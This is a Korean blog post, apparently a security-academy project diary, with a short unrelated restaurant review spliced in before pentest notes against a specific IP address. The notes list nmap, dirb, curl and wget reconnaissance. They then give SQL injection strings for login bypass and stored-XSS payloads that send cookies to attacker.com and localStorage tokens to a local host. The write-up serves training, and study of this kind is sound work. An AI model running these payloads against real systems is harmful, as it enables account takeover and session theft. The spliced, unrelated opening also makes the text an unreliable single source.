

가게 이름은 뽕의 정석이고용
짬뽕은 걍 쏘쏘
여느 중국집에서 먹는 맛이었음
ㄹㅇ 킥은 탕수육이었습니다.
사진은 없는데영
ㄹㅇ 간장에만 찍어먹어도 존맛탱구리구리였습니다.
다들 꼭 탕수육 시키세여
1. 정찰
1) 포트 및 서비스 스캔
① nmap -sV -sC -A [타겟IP]

i. 2222/tcp (SSH) – 열림
ii. 8080/tcp (HTTP) – 열림
2) 웹 서비스 취약점 기본 스캔
① nmap -Pn -p 8080 --script http-enum,http-vuln-* 220.88.200.203
i. CVE-2011-3192 (Apache byterange filter DoS) 발견
ii. 이 취약점은 클라이언트가 서버에 파일의 특정 부분(Range)을 잘게 쪼개서 수없이 많이 요청할 때 발생
② nmap -Pn -p 2222 --script ssh-auth-methods,ssh2-enum-algos 220.88.200.203
i. 인증 방식 : publickey, password (브루트 포스, 사전 공격에 노출 가능)
ii. 암호화 알고리즘 : ssh2-enum-algos (매우 양호)
3) 정보 수집 심화
① dirb http://220.88.200.203:8080

i. /api/ 디렉터리 (403 Forbidden) : 디렉터리 리스팅은 막혀 있지만, 디렉터리 자체는 존재한다는 뜻
4) 중요파일 직접 찾기
① dirb http://220.88.200.203:8080/ -X .env,.bak,.old,.php,.json

i. 딱히 뭔가 안나옴
5) /assets/ 내부 파일 확인
① curl -I http://220.88.200.203:8080/assets/main.js
② curl -I http://220.88.200.203:8080/assets/app.js
③ curl -I http://220.88.200.203:8080/assets/index.js

④ 모든 요청에 대해 200 OK가 떴지만, Content-Type이 text/html이 나옴
⑤ 404 에러 페이지를 보여주는 것임
6) 실제 Assets 파일명 찾기
① curl -s http://220.88.200.203:8080/ | grep -E "src=.*\.js"

i. 심봤다~~~
ii. 타겟 찾았다~~~
② 파일을 로컬로 가져오기
i. wget http://220.88.200.203:8080/assets/index-D0vJQNnf.js

③ 숨겨진 API 경로 추출
i. grep -o "/api/v1/[a-zA-Z0-9/_-]*" index-D0vJQNnf.js | sort -u
- 빈칸으로 나옴
- index-D0vJQNnf.js 파일 안에 /api/v1/이라는 문자열이 직접적으로 기록되어 있지 않다는 뜻임
7) 웹 기술 스택 파악 (Fingerprinting)
① whatweb [타겟URL]

8) 실제 경로(posts, write)를 바탕으로 서버의 백엔드 시스템 찔러보기
① 게시글 목록 호출 (데이터 노출 확인)

2. 문제점
1) 공격을 하면 공격자의 ip가 떠야 하는데 waf ip로 뜸
2) 특정 공격만 출발지가 WAF IP로 변하고 나머지는 정상으로 뜸
3) 공격
curl -X POST http://220.88.200.203:8080/api/v1/posts/search \
-H "Content-Type: application/json" \
-d '{"keyword": "test' OR 1=1 --"}'
3. SQL Injection: 관리자 계정 탈취
1) 공격 상황
① 로그인 페이지의 ID 입력창에 SQL 구문을 주입하여 인증을 우회
2) 실행 방법
① 로그인 페이지에서 ID에 admin, PW에 1234를 입력하고 Login 버튼을 누릅니다.
② Burp Suite에 잡힌 HTTP 패킷을 마우스 우클릭 -> Send to Repeater (Ctrl+R).
③ Repeater 탭에서 ID 파라미터 부분을 수정합니다.
i. 수정 전
- {"userName":"admin","password":"1234"}
ii. 수정 후
- {"userName":"admin' -- ", "password":"1234"}

- {"userName":"' OR 1=1 -- ", "password":"1234"}

- {"userName":"' OR 1=1 #", "password":"1234"}

- {"userName":"'/**/OR/**/1=1/**/#", "password":"1234"}

- {"userName": ["admin"], "password":"1234"}

④ Send를 누르고 응답(Response)에서 Welcome Admin 또는 로그인 성공 메시지가 나오는지 확인합니다.
3) 확인 로그 (Web/DB):
① Apache/Nginx Access Log: POST /login.php 요청에 특수문자(', --, #)가 포함된 로그가 기록됨.
② DB Query Log: SELECT * FROM users WHERE id='' OR '1'='1' -- ' AND pw='...' 와 같이 비정상적으로 조작된 쿼리 실행 기록.
4. Stored XSS: 관리자 세션 하이재킹
1) 공격 상황: 관리자가 읽을 만한 공지사항 게시판에 악성 스크립트를 삽입하여, 관리자의 쿠키(Session ID)를 공격자 서버로 전송시킵니다.
2) 공격 페이로드: <script>fetch('http://attacker.com/log?c=' + document.cookie);</script>

3) 확인 로그 (Web)

① 브라우저를 열고 게시물을 읽으니까 맨 밑줄이 뜸
② 게시판에 심어둔 자바스크립트가 브라우저에서 실제로 실행됐다는 거임
③ 근데 쿠키 값이 비어있음
④ 그러니까 다른 곳을 털어보자
4) 로컬 스토리지 훔치기
① <script>fetch("http://192.168.0.70:8000/log?ls=" + JSON.stringify(localStorage));</script>

i. 이 서버는 LocalStorage에 저장된 JWT 방식으로 세션관리함
'시큐리티아카데미 7기 - sk쉴더스트랙 > 프로젝트' 카테고리의 다른 글
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 10일차 - 2026.04.22 (0) | 2026.04.24 |
|---|---|
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 9일차 - 2026.04.21 (0) | 2026.04.21 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 7일차 - 2026.04.17 (0) | 2026.04.17 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 6일차 - 2026.04.16 (0) | 2026.04.16 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 5일차 - 2026.04.15 (1) | 2026.04.16 |